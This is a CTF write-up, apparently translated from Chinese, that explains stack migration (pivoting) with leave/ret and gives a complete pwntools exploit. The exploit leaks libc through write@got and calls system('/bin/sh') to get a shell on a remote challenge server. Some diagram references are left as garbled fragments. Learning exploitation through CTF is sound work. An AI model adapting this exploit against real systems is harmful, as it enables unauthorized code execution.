Stack migration of PWN questions

preface

Vegetable chicken summary, if there is something wrong, I hope you can give advice in time to avoid harming people's children.



0x1: basic knowledge:

Everyone must know the problem solved by stack migration technology - the overflow length is not enough and can only cover the return address. As for the length of the rop chain to be constructed later, it is obviously not enough.

If you don't know much about the C language call stack, it is recommended to read it later, because it is very helpful to understand the stack migration. You can read my blog C language call stack , you can also go to Baidu on your own.

Let's talk about the two key assembly instructions used in stack migration, leave instruction and ret instruction. Its function is to restore stack space.

Its function is roughly as follows:



0x2: utilization idea:

Premise: (1) there are two input variables. If you can only input them once, it will not cause overflow. One input buf variable can just overflow to the return address, and the content of the other input variable s should be stored in the bss segment (all I have done so far are stored in the bss segment).

Use idea: since the length of a stack space is not enough, since I can input it twice, why don't I connect the two stack spaces in series, just like turning it into a stack (of course, this is not the case in essence). Isn't this stack space enough? The point is how to connect the two stacks in series? The key point is the leave and ret instructions.

First, we know that the process of calling the stack will save the stack layout and move ebp and esp to form a new stack frame. What does that have to do with the leave ret instruction?

First, we need to know the composition of the payload for stack migration. The following is a schematic diagram of a 32-bit libc question type as an example

Let's focus on the return process after the function call, and how we connect it in series.

(1) The first leave instruction: it first empties the stack space, brings back the esp, and then passes the address of the bss segment to the ebp.

(2) The first ret instruction: it passes the address with leave and ret instructions to eip, and then the program will jump to leave again_ 10,text_ aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxMDMyODA3,size_ 16,color_ FFFFFF,t_ 70)

(3) The second leave instruction: are you familiar with the c language function call stack? First push ebp, and then mov ebp esp. The only difference here is that this is mov esp ebp. But the purpose is to keep ebp and ESP together,

(4) The second ret instruction: write_plt_addr is passed to eip to execute the write function.

The total return process is:

0x3: example explanation

Title Link: [Black Watch group entry question] PWN

Program analysis: 32-bit program, NX protection is turned on. Open IDA and check the source code

Code analysis: as analyzed above, vulnerability utilization: stack migration technique. It was found that there was no system function and NX protection was enabled, so libc was used to disclose the system function. This topic: stack migration + libc. Libc questions won't. You can see mine Ret2libc of PWN question type

exp :

from pwn import *

#r = process("./pwn")
r = remote("node4.buuoj.cn",26026)

e = ELF("./pwn")
context(log_level = 'debug')
libc = ELF("./libc-2.23.so")

write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
bss_addr = 0x0804A300
leave_ret_addr = 0x08048511 

payload1 = p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
r.recvuntil("What is your name?")
r.sendline(payload1)

offset = 0x18
payload2 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)

r.recvuntil("What do you want to say?")
r.send(payload2)

write_addr = u32(r.recv(4))
print(hex(write_addr))
#pause()

base_addr = write_addr - libc.symbols["write"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()

payload3 = p32(system_addr) + p32(1) + p32(binsh_addr)
r.recvuntil("What is your name?")
r.sendline(payload3)

payload4 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)
r.recvuntil("What do you want to say?")
r.sendline(payload4)

r.sendline("cat flag")
r.interactive()


One thing to note here is that the second payload is sent by send, not sendline. I've been stuck here for a long time. I think this has something to do with the read mechanism of the read function, because the read function will read \ n. When the content you send does not overflow, it will output, but when you overflow, it will only output the maximum number of bytes. I still don't understand the specific principle.

Summary:

Stack migration is to hijack (transfer) the stack with insufficient space to a place where I can write. As long as I layout the contents of this place in advance, I can think of what you want to do. I think it is the combination of two stack spaces to expand the space.

In fact, if you don't know very well, just remember: the two payload s add up, and then there must be a BSS in the middle with the previous one_ Addr and leave_ret_addr, and the offset is only at ebp. But if I just know how to do the problem but don't understand the principle, I have no effect at all. Don't do the problem in order to do the problem. Doing the problem is to master the knowledge.

Keywords: CTF pwn unctf

Added by suepahfly on Thu, 06 Jan 2022 02:49:00 +0200